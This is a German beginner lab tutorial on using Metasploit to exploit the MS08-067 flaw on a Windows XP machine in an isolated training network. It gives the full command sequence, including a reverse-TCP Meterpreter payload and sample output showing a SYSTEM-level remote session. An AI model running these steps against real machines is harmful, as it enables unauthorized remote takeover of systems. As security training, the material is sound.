MS08-067 auf einem Windows XP-Ziel in Metasploit ausnutzen

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab lernen Sie, wie Sie das Metasploit Framework nutzen, um eine der bekanntesten Windows-Schwachstellen, MS08-067, auszunutzen. Diese Schwachstelle existiert im Server-Dienst auf Windows-Systemen und kann zur Ausführung von Remote-Code führen.

Sie werden Metasploit, ein leistungsstarkes Penetration-Testing-Tool, verwenden, um einen Exploit gegen eine Ziel-Windows-XP-Maschine auszuwählen, zu konfigurieren und zu starten. Am Ende dieses Labs werden Sie eine Meterpreter-Sitzung auf dem Zielsystem erhalten haben, die Ihnen die Fernsteuerung ermöglicht.

Für dieses Lab ist die Umgebung mit zwei Maschinen vorkonfiguriert:

  • Ihre Angreifer-Maschine (diese Ubuntu VM) mit der IP-Adresse 192.168.1.100.
  • Eine anfällige Windows-XP-Zielmaschine mit der IP-Adresse 192.168.1.101.

Alle Aktionen werden vom Terminal auf Ihrer Angreifer-Maschine aus durchgeführt.

Auswahl des ms08_067_netapi Exploit-Moduls

In diesem Schritt starten Sie die Metasploit-Konsole und wählen das entsprechende Exploit-Modul für die MS08-067-Schwachstelle aus.

Öffnen Sie zuerst ein Terminal. Alle Befehle werden hier ausgeführt. Das Metasploit Framework verfügt über eine Befehlszeilenschnittstelle namens msfconsole. Starten wir diese mit dem Flag -q (quiet), um das Banner zu unterdrücken.

msfconsole -q

Sobald es geladen ist, sehen Sie die Metasploit-Eingabeaufforderung, die wie msf6 > aussieht. Nun können Sie nach dem Exploit-Modul suchen, das sich auf ms08-067 bezieht.

search ms08-067

Sie sehen eine Liste übereinstimmender Module. Dasjenige, das uns interessiert, ist exploit/windows/smb/ms08_067_netapi.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Um diesen Exploit zu verwenden, geben Sie den Befehl use gefolgt vom Namen des Moduls ein.

use exploit/windows/smb/ms08_067_netapi

Ihre Eingabeaufforderung ändert sich, um anzuzeigen, dass Sie sich nun im Kontext dieses spezifischen Exploit-Moduls befinden.

msf6 exploit(windows/smb/ms08_067_netapi) >

Festlegen der RHOSTS-Option auf das Windows XP-Ziel

In diesem Schritt konfigurieren Sie das Exploit-Modul, indem Sie die IP-Adresse des Ziels festlegen. Die meisten Exploits müssen wissen, wen sie angreifen sollen. In Metasploit wird die Zieladresse über die Option RHOSTS (Remote Hosts) festgelegt.

Zeigen Sie zunächst die verfügbaren Optionen für diesen Exploit mit dem Befehl show options an.

show options

Sie sehen eine Tabelle mit konfigurierbaren Optionen. Beachten Sie, dass RHOSTS erforderlich ist, aber noch nicht festgelegt wurde.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

Legen Sie nun die Option RHOSTS auf die IP-Adresse unseres Windows XP-Ziels fest, die 192.168.1.101 lautet.

set RHOSTS 192.168.1.101

Metasploit bestätigt die Änderung.

RHOSTS => 192.168.1.101

Sie haben Metasploit nun mitgeteilt, welche Maschine angegriffen werden soll.

Auswahl eines Reverse TCP Payloads wie windows/meterpreter/reverse_tcp

In diesem Schritt wählen Sie einen Payload aus, der nach einem erfolgreichen Exploit an das Zielsystem geliefert wird. Ein Payload ist der Code, der auf der Zielmaschine ausgeführt wird. Wir werden Meterpreter verwenden, einen leistungsstarken und flexiblen Payload, der eine interaktive Shell bereitstellt.

Der Payload windows/meterpreter/reverse_tcp zwingt die kompromittierte Zielmaschine, eine Verbindung zu Ihnen (dem Angreifer) zurück herzustellen. Dies ist in realen Szenarien, in denen Firewalls direkte Verbindungen zum Ziel blockieren könnten, oft erfolgreicher.

Um den Payload festzulegen, verwenden Sie den Befehl set payload.

set payload windows/meterpreter/reverse_tcp

Metasploit bestätigt, dass der Payload festgelegt wurde.

payload => windows/meterpreter/reverse_tcp

Nachdem der Payload ausgewählt wurde, müssen Sie in den nächsten Schritt seine Optionen konfigurieren.

Festlegen der LHOST- und LPORT-Payload-Optionen

Nachdem Sie einen Reverse-Payload ausgewählt haben, müssen Sie ihn so konfigurieren, dass er sich mit Ihrer Maschine verbindet. Dazu müssen zwei Hauptoptionen festgelegt werden: LHOST und LPORT.

  • LHOST (Local Host): Dies ist die IP-Adresse Ihrer Angreifer-Maschine, zu der sich der Payload zurückverbinden soll.
  • LPORT (Local Port): Dies ist der Port auf Ihrer Maschine, der auf die eingehende Verbindung vom Ziel wartet.

Wie in der Einleitung erwähnt, ist die IP-Adresse Ihrer Angreifer-Maschine 192.168.1.100. Legen wir LHOST auf diesen Wert fest.

set LHOST 192.168.1.100

Sie sehen eine Bestätigung:

LHOST => 192.168.1.100

Als Nächstes legen wir den Listening-Port fest. Eine gängige Wahl ist 4444.

set LPORT 4444

Auch hier sehen Sie eine Bestätigung:

LPORT => 4444

Sie können show options erneut ausführen, um zu überprüfen, ob alle erforderlichen Optionen (RHOSTS, LHOST, LPORT) nun korrekt gesetzt sind.

Ausführen des Exploits und Erhalten einer Meterpreter-Sitzung

Nachdem alle Optionen konfiguriert sind, sind Sie nun bereit, den Exploit zu starten. Dies ist der letzte Schritt, bei dem Sie versuchen, das Zielsystem zu kompromittieren.

Um den Angriff zu starten, verwenden Sie einfach den Befehl exploit.

exploit

Metasploit versucht nun, die Schwachstelle auszunutzen. Wenn dies erfolgreich ist, sehen Sie eine Ausgabe, die der folgenden ähnelt. Es wird automatisch das Ziel-Betriebssystem erkannt, der Exploit gesendet und dann der Payload.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

Beachten Sie die letzte Zeile: Meterpreter session 1 opened. Ihre Eingabeaufforderung hat sich zu meterpreter > geändert. Das bedeutet, dass Sie das Ziel erfolgreich kompromittiert haben und eine aktive Sitzung haben.

Um Ihren Zugriff zu überprüfen, führen Sie einen Befehl wie getuid aus, um zu sehen, als welcher Benutzer Sie auf dem Zielsystem laufen.

getuid

Die Ausgabe zeigt, dass Sie die höchsten Berechtigungen haben.

Server username: NT AUTHORITY\SYSTEM

Herzlichen Glückwunsch, Sie haben MS08-067 erfolgreich ausgenutzt!

Zusammenfassung

In diesem Lab haben Sie erfolgreich das Metasploit Framework verwendet, um die MS08-067-Schwachstelle auf einem Windows XP-Ziel auszunutzen.

Sie haben den grundlegenden Workflow eines Penetrationstests befolgt:

  1. Auswahl eines spezifischen Exploit-Moduls (exploit/windows/smb/ms08_067_netapi).
  2. Konfiguration des Exploits durch Festlegen der Zieladresse (RHOSTS).
  3. Auswahl eines Payloads (windows/meterpreter/reverse_tcp), um die Kontrolle zu erlangen.
  4. Konfiguration des Payloads mit Ihrem lokalen Host und Port (LHOST, LPORT).
  5. Starten des Exploits und Erhalten einer Meterpreter-Sitzung mit hohen Berechtigungen auf dem Ziel.

Diese Übung demonstriert die Leistungsfähigkeit und Einfachheit der Verwendung eines Frameworks wie Metasploit zum Testen und Ausnutzen von Systemschwachstellen.